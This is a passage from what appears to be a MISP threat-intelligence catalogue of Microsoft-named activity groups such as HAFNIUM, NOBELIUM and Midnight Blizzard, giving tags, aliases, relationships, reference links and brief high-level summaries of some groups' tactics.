GALLIUM is still active; however, activity levels have dropped when compared to what was previously observed.

The tag is: *misp-galaxy:microsoft-activity-group="GALLIUM"*

GALLIUM is also known as:

- Operation Soft Cell

View relationships graph

GALLIUM has relationships with:

- similar: misp-galaxy:threat-actor="Operation Soft Cell" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="GALLIUM" with estimative-language:likelihood-probability="almost-certain"

Table 5721. Table References

Links
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

PARINACOTA

One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group's goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA's attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

The tag is: *misp-galaxy:microsoft-activity-group="PARINACOTA"*

View relationships graph

PARINACOTA has relationships with:

- uses: misp-galaxy:ransomware="Wadhrama" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PARINACOTA" with estimative-language:likelihood-probability="almost-certain"

Table 5722. Table References

Links
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

GADOLINIUM

GADOLINIUM is a nation-state activity group that has been compromising targets for nearly a decade with a worldwide focus on the maritime and health industries. As with most threat groups, GADOLINIUM tracks the tools and techniques of security practitioners looking for new techniques they can use or modify to create new exploit methods. Historically, GADOLINIUM used custom-crafted malware families that analysts can identify and defend against. In response, over the last year GADOLINIUM has begun to modify portions of its toolchain to use open-source toolkits to obfuscate their activity and make it more difficult for analysts to track. Because cloud services frequently offer a free trial or one-time payment (PayGo) account offerings, malicious actors have found ways to take advantage of these legitimate business offerings. By establishing free or PayGo accounts, they can use cloud-based technology to create a malicious infrastructure that can be established quickly then taken down before detection or given up at little cost.

The tag is: *misp-galaxy:microsoft-activity-group="GADOLINIUM"*

View relationships graph

GADOLINIUM has relationships with:

- similar: misp-galaxy:threat-actor="APT40" with estimative-language:likelihood-probability="likely"

Table 5723. Table References

Links
https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/

HAFNIUM

HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they’ve gained access to a victim

network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA. In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets' environments. HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.

The tag is: *misp-galaxy:microsoft-activity-group="HAFNIUM"*

View relationships graph

HAFNIUM has relationships with:

- similar: misp-galaxy:threat-actor="HAFNIUM" with estimative-language:likelihood-probability="almost-certain"

Table 5724. Table References

Links
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/

NOBELIUM

Threat actor behind the attacks against SolarWinds, the SUNBURST backdoor, TEARDROP malware, GoldMax malware.

The tag is: *misp-galaxy:microsoft-activity-group="NOBELIUM"*

View relationships graph

NOBELIUM has relationships with:

- similar: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:backdoor="SUNBURST" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="TEARDROP" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="GoldMax" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="SNOWYAMBER" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="HALFRIG" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="QUARTERRIG" with estimative-language:likelihood-probability="likely"

Table 5725. Table References

Links

https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html

Aqua Blizzard

The tag is: *misp-galaxy:microsoft-activity-group="Aqua Blizzard"*

Aqua Blizzard is also known as:

- ACTINIUM
- UNC530
- Primitive Bear
- Gamaredon

View relationships graph

Aqua Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="Gamaredon Group" with estimative-language:likelihood-probability="likely"

Table 5726. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Brass Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Brass Typhoon"*

Brass Typhoon is also known as:

- BARIUM
- APT41

View relationships graph

Brass Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="APT41" with estimative-language:likelihood-probability="likely"

Table 5727. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Cadet Blizzard

The tag is: *misp-galaxy:microsoft-activity-group="Cadet Blizzard"*

Cadet Blizzard is also known as:

- DEV-0586

View relationships graph

Cadet Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="DEV-0586" with estimative-language:likelihood-probability="likely"

Table 5728. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Camouflage Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Camouflage Tempest"*

Camouflage Tempest is also known as:

- TAAL
- FIN6
- Skeleton Spider

View relationships graph

Camouflage Tempest has relationships with:

- similar: misp-galaxy:threat-actor="FIN6" with estimative-language:likelihood-probability="likely"

Table 5729. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Canvas Cyclone

The tag is: *misp-galaxy:microsoft-activity-group="Canvas Cyclone"*

Canvas Cyclone is also known as:

- BISMUTH
- APT32
- OceanLotus

View relationships graph

Canvas Cyclone has relationships with:

- similar: misp-galaxy:threat-actor="APT32" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-00" with estimative-language:likelihood-probability="likely"

Table 5730. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Caramel Tsunami

The tag is: *misp-galaxy:microsoft-activity-group="Caramel Tsunami"*

Caramel Tsunami is also known as:

- SOURGUM
- Candiru

Table 5731. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Carmine Tsunami

The tag is: *misp-galaxy:microsoft-activity-group="Carmine Tsunami"*

Carmine Tsunami is also known as:

- DEV-0196
- QuaDream

Table 5732. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Charcoal Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Charcoal Typhoon"*

Charcoal Typhoon is also known as:

- CHROMIUM
- ControlX

View relationships graph

Charcoal Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="Earth Lusca" with estimative-language:likelihood-probability="likely"

Table 5733. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Cinnamon Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Cinnamon Tempest"*

Cinnamon Tempest is also known as:

- DEV-0401
- Emperor Dragonfly
- Bronze Starlight

View relationships graph

Cinnamon Tempest has relationships with:

- similar: misp-galaxy:threat-actor="BRONZE STARLIGHT" with estimative-language:likelihood-probability="likely"

Table 5734. Table References

Links

https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Circle Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Circle Typhoon"*

Circle Typhoon is also known as:

- DEV-0322

Table 5735. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Cotton Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Cotton Sandstorm"*

Cotton Sandstorm is also known as:

- NEPTUNIUM
- Vice Leaker
- DEV-0198

Table 5736. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Crimson Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Crimson Sandstorm"*

Crimson Sandstorm is also known as:

- CURIUM
- TA456
- Tortoise Shell

Table 5737. Table References

Links

https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Cuboid Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Cuboid Sandstorm"*

Cuboid Sandstorm is also known as:

- DEV-0228

Table 5738. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Denim Tsunami

The tag is: *misp-galaxy:microsoft-activity-group="Denim Tsunami"*

Denim Tsunami is also known as:

- KNOTWEED
- DSIRF

Table 5739. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Diamond Sleet

The tag is: *misp-galaxy:microsoft-activity-group="Diamond Sleet"*

Diamond Sleet is also known as:

- ZINC
- Labyrinth Chollima
- Lazarus

View relationships graph

Diamond Sleet has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

Table 5740. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Emerald Sleet

The tag is: *misp-galaxy:microsoft-activity-group="Emerald Sleet"*

Emerald Sleet is also known as:

- THALLIUM
- Kimsuky
- Velvet Chollima

View relationships graph

Emerald Sleet has relationships with:

- similar: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

Table 5741. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Forest Blizzard

The tag is: *misp-galaxy:microsoft-activity-group="Forest Blizzard"*

Forest Blizzard is also known as:

- STRONTIUM
- APT28
- Fancy Bear

View relationships graph

Forest Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="APT28" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-20" with estimative-language:likelihood-probability="likely"

Table 5742. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Ghost Blizzard

The tag is: *misp-galaxy:microsoft-activity-group="Ghost Blizzard"*

Ghost Blizzard is also known as:

- BROMINE
- Energetic Bear
- Crouching Yeti

View relationships graph

Ghost Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="ENERGETIC BEAR" with estimative-language:likelihood-probability="likely"

Table 5743. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Gingham Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Gingham Typhoon"*

Gingham Typhoon is also known as:

- GADOLINIUM
- APT40
- Leviathan
- TEMP.Periscope
- Kryptonite Panda

View relationships graph

Gingham Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="APT40" with estimative-language:likelihood-probability="likely"

Table 5744. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Granite Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Granite Typhoon"*

Granite Typhoon is also known as:

- GALLIUM

View relationships graph

Granite Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="GALLIUM" with estimative-language:likelihood-probability="likely"

Table 5745. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Gray Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Gray Sandstorm"*

Gray Sandstorm is also known as:

- DEV-0343

Table 5746. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Hazel Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Hazel Sandstorm"*

Hazel Sandstorm is also known as:

- EUROPIUM
- Cobalt Gypsy

- APT34
- OilRig

View relationships graph

Hazel Sandstorm has relationships with:

- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"

Table 5747. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Lace Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Lace Tempest"*

Lace Tempest is also known as:

- DEV-0950
- FIN11
- TA505

View relationships graph

Lace Tempest has relationships with:

- similar: misp-galaxy:threat-actor="TA505" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="FIN11" with estimative-language:likelihood-probability="likely"

Table 5748. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Lemon Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Lemon Sandstorm"*

Lemon Sandstorm is also known as:

- RUBIDIUM
- Fox Kitten
- UNC757
- PioneerKitten

View relationships graph

Lemon Sandstorm has relationships with:

- similar: misp-galaxy:threat-actor="Fox Kitten" with estimative-language:likelihood-probability="likely"

Table 5749. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Lilac Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Lilac Typhoon"*

Lilac Typhoon is also known as:

- DEV-0234

Table 5750. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Manatee Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Manatee Tempest"*

Manatee Tempest is also known as:

- DEV-0243
- EvilCorp
- UNC2165

- Indrik Spider

View relationships graph

Manatee Tempest has relationships with:

- similar: misp-galaxy:threat-actor="INDRIK SPIDER" with estimative-language:likelihood-probability="likely"

Table 5751. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Mango Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Mango Sandstorm"*

Mango Sandstorm is also known as:

- MERCURY
- MuddyWater
- SeedWorm
- Static Kitten
- TEMP.Zagros

View relationships graph

Mango Sandstorm has relationships with:

- similar: misp-galaxy:threat-actor="MuddyWater" with estimative-language:likelihood-probability="likely"

Table 5752. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Marbled Dust

The tag is: *misp-galaxy:microsoft-activity-group="Marbled Dust"*

Marbled Dust is also known as:

- SILICON
- Sea Turtle

View relationships graph

Marbled Dust has relationships with:

- similar: misp-galaxy:threat-actor="Sea Turtle" with estimative-language:likelihood-probability="likely"

Table 5753. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Marigold Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Marigold Sandstorm"*

Marigold Sandstorm is also known as:

- DEV-0500
- Moses Staff

View relationships graph

Marigold Sandstorm has relationships with:

- similar: misp-galaxy:threat-actor="MosesStaff" with estimative-language:likelihood-probability="likely"

Table 5754. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Midnight Blizzard

The tag is: *misp-galaxy:microsoft-activity-group="Midnight Blizzard"*

Midnight Blizzard is also known as:

- NOBELIUM
- APT29
- Cozy Bear

View relationships graph

Midnight Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"

Table 5755. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Mint Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Mint Sandstorm"*

Mint Sandstorm is also known as:

- PHOSPHORUS
- APT35
- Charming Kitten

View relationships graph

Mint Sandstorm has relationships with:

- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT35" with estimative-language:likelihood-probability="likely"

Table 5756. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Mulberry Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Mulberry Typhoon"*

Mulberry Typhoon is also known as:

- MANGANESE
- APT5
- Keyhole Panda
- TABCTENG

View relationships graph

Mulberry Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="APT5" with estimative-language:likelihood-probability="likely"

Table 5757. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Mustard Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Mustard Tempest"*

Mustard Tempest is also known as:

- DEV-0206
- Purple Vallhund

Table 5758. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Night Tsunami

The tag is: *misp-galaxy:microsoft-activity-group="Night Tsunami"*

Night Tsunami is also known as:

- DEV-0336
- NSO Group

Table 5759. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Nylon Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Nylon Typhoon"*

Nylon Typhoon is also known as:

- NICKEL
- ke3chang
- APT15
- Vixen Panda

View relationships graph

Nylon Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="APT15" with estimative-language:likelihood-probability="likely"

Table 5760. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Opal Sleet

The tag is: *misp-galaxy:microsoft-activity-group="Opal Sleet"*

Opal Sleet is also known as:

- OSMIUM
- Konni

Table 5761. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Peach Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Peach Sandstorm"*

Peach Sandstorm is also known as:

- HOLMIUM
- APT33
- Refined Kitten

View relationships graph

Peach Sandstorm has relationships with:

- similar: misp-galaxy:threat-actor="APT33" with estimative-language:likelihood-

probability="likely"

Table 5762. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Pearl Sleet

The tag is: *misp-galaxy:microsoft-activity-group="Pearl Sleet"*

Pearl Sleet is also known as:

- LAWRENCIUM
- DEV-0215

Table 5763. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Periwinkle Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Periwinkle Tempest"*

Periwinkle Tempest is also known as:

- DEV-0193
- Wizard Spider
- UNC2053

View relationships graph

Periwinkle Tempest has relationships with:

- similar: misp-galaxy:threat-actor="WIZARD SPIDER" with estimative-language:likelihood-probability="likely"

Table 5764. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Phlox Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Phlox Tempest"*

Phlox Tempest is also known as:

- DEV-0796
- ClickPirate
- Chrome Loader
- Choziosi loader

Table 5765. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Pink Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Pink Sandstorm"*

Pink Sandstorm is also known as:

- AMERICIUM
- Agrius
- Deadwood
- BlackShadow
- SharpBoys
- DEV-0227

Table 5766. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Pistachio Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Pistachio Tempest"*

Pistachio Tempest is also known as:

- DEV-0237
- FIN12

View relationships graph

Pistachio Tempest has relationships with:

- similar: misp-galaxy:threat-actor="WIZARD SPIDER" with estimative-language:likelihood-probability="likely"

Table 5767. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Plaid Rain

The tag is: *misp-galaxy:microsoft-activity-group="Plaid Rain"*

Plaid Rain is also known as:

- POLONIUM

View relationships graph

Plaid Rain has relationships with:

- similar: misp-galaxy:threat-actor="POLONIUM" with estimative-language:likelihood-probability="likely"

Table 5768. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Pumpkin Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Pumpkin Sandstorm"*

Pumpkin Sandstorm is also known as:

- DEV-0146
- ZeroCleare

Table 5769. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Raspberry Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Raspberry Typhoon"*

Raspberry Typhoon is also known as:

- RADIUM
- APT30
- LotusBlossom

View relationships graph

Raspberry Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="APT30" with estimative-language:likelihood-probability="likely"

Table 5770. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Ruby Sleet

The tag is: *misp-galaxy:microsoft-activity-group="Ruby Sleet"*

Ruby Sleet is also known as:

- CERIUM

Table 5771. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Sangria Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Sangria Tempest"*

Sangria Tempest is also known as:

- ELBRUS
- Carbon Spider
- FIN7

View relationships graph

Sangria Tempest has relationships with:

- similar: misp-galaxy:threat-actor="FIN7" with estimative-language:likelihood-probability="likely"

Table 5772. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Sapphire Sleet

The tag is: *misp-galaxy:microsoft-activity-group="Sapphire Sleet"*

Sapphire Sleet is also known as:

- COPERNICIUM
- Genie Spider
- BlueNoroff

View relationships graph

Sapphire Sleet has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

Table 5773. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Seashell Blizzard

The tag is: *misp-galaxy:microsoft-activity-group="Seashell Blizzard"*

Seashell Blizzard is also known as:

- IRIDIUM
- Sandworm

View relationships graph

Seashell Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="IRIDIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="□□ - APT-C-13" with estimative-language:likelihood-probability="likely"

Table 5774. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Secret Blizzard

The tag is: *misp-galaxy:microsoft-activity-group="Secret Blizzard"*

Secret Blizzard is also known as:

- KRYPTON
- Venomous Bear
- Turla
- Snake

View relationships graph

Secret Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="Turla" with estimative-language:likelihood-probability="likely"

Table 5775. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Silk Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Silk Typhoon"*

Silk Typhoon is also known as:

- HAFNIUM

View relationships graph

Silk Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="HAFNIUM" with estimative-language:likelihood-

probability="likely"

Table 5776. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Smoke Sandstorm

The tag is: *misp-galaxy:microsoft-activity-group="Smoke Sandstorm"*

Smoke Sandstorm is also known as:

- BOHRIUM

Table 5777. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Spandex Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Spandex Tempest"*

Spandex Tempest is also known as:

- CHIMBORAZO
- TA505

View relationships graph

Spandex Tempest has relationships with:

- similar: misp-galaxy:threat-actor="TA505" with estimative-language:likelihood-probability="likely"

Table 5778. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Star Blizzard

The tag is: *misp-galaxy:microsoft-activity-group="Star Blizzard"*

Star Blizzard is also known as:

- SEABORGIUM
- Callisto
- Reuse Team

View relationships graph

Star Blizzard has relationships with:

- similar: misp-galaxy:threat-actor="Callisto" with estimative-language:likelihood-probability="likely"

Table 5779. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Storm-0257

The tag is: *misp-galaxy:microsoft-activity-group="Storm-0257"*

Storm-0257 is also known as:

- DEV-0257
- UNC1151

View relationships graph

Storm-0257 has relationships with:

- similar: misp-galaxy:threat-actor="Ghostwriter" with estimative-language:likelihood-probability="likely"

Table 5780. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Storm-0530

The tag is: *misp-galaxy:microsoft-activity-group="Storm-0530"*

Storm-0530 is also known as:

- DEV-0530
- H0lyGh0st

Table 5781. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Strawberry Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Strawberry Tempest"*

Strawberry Tempest is also known as:

- DEV-0537
- LAPSUS$

View relationships graph

Strawberry Tempest has relationships with:

- similar: misp-galaxy:threat-actor="LAPSUS" with estimative-language:likelihood-probability="likely"

Table 5782. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Sunglow Blizzard

The tag is: *misp-galaxy:microsoft-activity-group="Sunglow Blizzard"*

Sunglow Blizzard is also known as:

- DEV-0665

Table 5783. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Tomato Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Tomato Tempest"*

Tomato Tempest is also known as:

- SPURR
- Vatet

Table 5784. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Vanilla Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Vanilla Tempest"*

Vanilla Tempest is also known as:

- DEV-0832

Table 5785. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Velvet Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Velvet Tempest"*

Velvet Tempest is also known as:

- DEV-0504

Table 5786. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Violet Typhoon

The tag is: *misp-galaxy:microsoft-activity-group="Violet Typhoon"*

Violet Typhoon is also known as:

- ZIRCONIUM
- APT31

View relationships graph

Violet Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="APT31" with estimative-language:likelihood-probability="likely"

Table 5787. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Wine Tempest

The tag is: *misp-galaxy:microsoft-activity-group="Wine Tempest"*

Wine Tempest is also known as:

- PARINACOTA
- Wadhrama

View relationships graph

Wine Tempest has relationships with:

- similar: misp-galaxy:threat-actor="PARINACOTA" with estimative-language:likelihood-probability="likely"

Table 5788. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Wisteria Tsunami

